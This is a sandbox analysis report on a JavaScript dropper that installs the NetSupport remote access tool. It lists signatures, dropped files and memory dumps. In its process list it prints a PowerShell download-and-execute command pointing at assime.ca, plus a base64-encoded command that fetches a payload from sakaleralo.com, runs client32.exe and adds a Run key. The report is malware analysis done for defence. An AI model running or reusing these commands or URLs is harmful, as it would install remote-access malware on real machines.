Analysis
- max time kernel
142s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
08/02/2024, 14:25
General
- Target DCS7727723772772.js
- Size 25KB
- Sample240208-rrm15sed7x
- SHA256 8603c3e9cbbf9629724d1d4299418be0d2ad7ce04ea8091fc0bead7430d21fbd
Malware Config
Extracted
-
ps1
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ps1.dropper
https://assime.ca/command.php
Extracted
-
ps1
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exe.dropper
http://sakaleralo.com/ccea268b-8716-46be-9148-3e614b38a0df.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\DCS7727723772772.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -ExeCUtIONPol bYPASS -W hI -eNco QwBoAEQASQByACAAJABlAE4AdgA6AEwATwBDAEEAbABhAHAAcABEAGEAVABhADsAIAAkAEcAMgBmAGYAdwAwAGMAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAawBuAHMAUABVADIAQQA9ACcAaAB0AHQAcAA6AC8ALwBzAGEAawBhAGwAZQByAGEAbABvAC4AYwBvAG0ALwBjAGMAZQBhADIANgA4AGIALQA4ADcAMQA2AC0ANAA2AGIAZQAtADkAMQA0ADgALQAzAGUANgAxADQAYgAzADgAYQAwAGQAZgAuAHQAeAB0ACcAOwAgACQAMwBsAEsAYwBVAEgAWAA9ACcAagBHAGgAVAB5AG8AaQBDAC4AegBpAHAAJwA7ACAAJABYAEYAeABiADMAPQAnAG0AbwBkAGUAbQBfAGcAcAByAHMAXwBtAG8AZAB1AGwAZQBzACcAOwAgACQARABFAGYAZgBJAFMAPQBpAE4AVgBPAEsAZQAtAFcAZQBCAHIAZQBxAFUAZQBzAHQAIAAtAFUAcgBJACAAJABrAG4AcwBQAFUAMgBBACAALQBVAHMARQBiAEEAcwBJAEMAUABhAFIAUwBJAE4AZwA7ACAAJABCAG0ASgBOAGcANQBmAD0AJABEAEUAZgBmAEkAUwAuAGMAbwBuAFQAZQBOAHQAOwAgACQATgBUADYAVgBPAEUAPQAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEALAAgACQAWABGAHgAYgAzACAALQBqAG8AaQBOACAAJwBcACcAOwAgACQAYwBrAGEAdQA4AD0AIgAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEAXAAkADMAbABLAGMAVQBIAFgAIgA7ACAAJABQAHgASQBCAFgAcwBvAEYAPQBbAEMAbwBOAFYARQBSAHQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABTAFQAcgBpAE4ARwAoACQAQgBtAEoATgBnADUAZgApADsAIAAkAEgANQBMAHoAawBIAFQAPQAkAFAAeABJAEIAWABzAG8ARgAgAC0AUwBQAGwASQBUACAAJwAgACcAIAAtAEEAcwAgAFsAQgB5AHQARQBbAF0AXQA7ACAAJAAxAFkASwBnAHMAcwBuAD0AJABHADIAZgBmAHcAMABjACsAJABIADUATAB6AGsASABUADsAIABTAGMAIAAkADMAbABLAGMAVQBIAFgAIAAkADEAWQBLAGcAcwBzAG4AIAAtAEUATgBDAG8AZABpAE4AZwAgAEIAWQBUAGUAOwAgAEUAeABwAEEAbgBkAC0AQQBSAEMAaABJAHYAZQAgAC0AcABBAHQAaAAgACQAYwBrAGEAdQA4ACAALQBkAEUAUwBUAGkAbgBBAFQAaQBvAE4AUABhAHQASAAgACQATgBUADYAVgBPAEUAIAAtAGYAbwBSAEMARQA7ACAAUgBJACAAJAAzAGwASwBjAFUASABYADsAIABDAEQAIAAkAE4AVAA2AFYATwBFADsAIAAkAFIAcQBQAHQAUQBkAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAE4AVAA2AFYATwBFADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAATgBlAHcALQBJAFQARQBtAFAAcgBPAFAARQByAHQAeQAgAC0AUABhAFQASAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0AZQAgACQAWABGAHgAYgAzACAALQBWAGEATABVAEUAIAAkAFIAcQBQAHQAUQBkACAALQBwAFIAbwBQAGUAcgBUAHkAVABZAFAARQAgACcAUwB0AHIAaQBuAGcAJwA7AA==3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_kz3xi0kr.hnh.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICAPI.dll
PCICL32.dll
client32.exe
client32.ini
pcichek.dll
memory/724-28-0x0000019DF93C0000-0x0000019DF93CA000-memory.dmp
memory/724-27-0x0000019DF93D0000-0x0000019DF93E2000-memory.dmp
memory/724-25-0x0000019DF6DE0000-0x0000019DF6DF0000-memory.dmp
memory/724-76-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
memory/724-23-0x0000019DF6DE0000-0x0000019DF6DF0000-memory.dmp
memory/724-24-0x0000019DF6DE0000-0x0000019DF6DF0000-memory.dmp
memory/724-22-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
memory/1312-1-0x000001D0B5BC0000-0x000001D0B5BE2000-memory.dmp
memory/1312-82-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp
memory/1312-12-0x000001D0B5C00000-0x000001D0B5C10000-memory.dmp
memory/1312-11-0x000001D0B5C00000-0x000001D0B5C10000-memory.dmp
memory/1312-10-0x00007FFC0A0C0000-0x00007FFC0AB81000-memory.dmp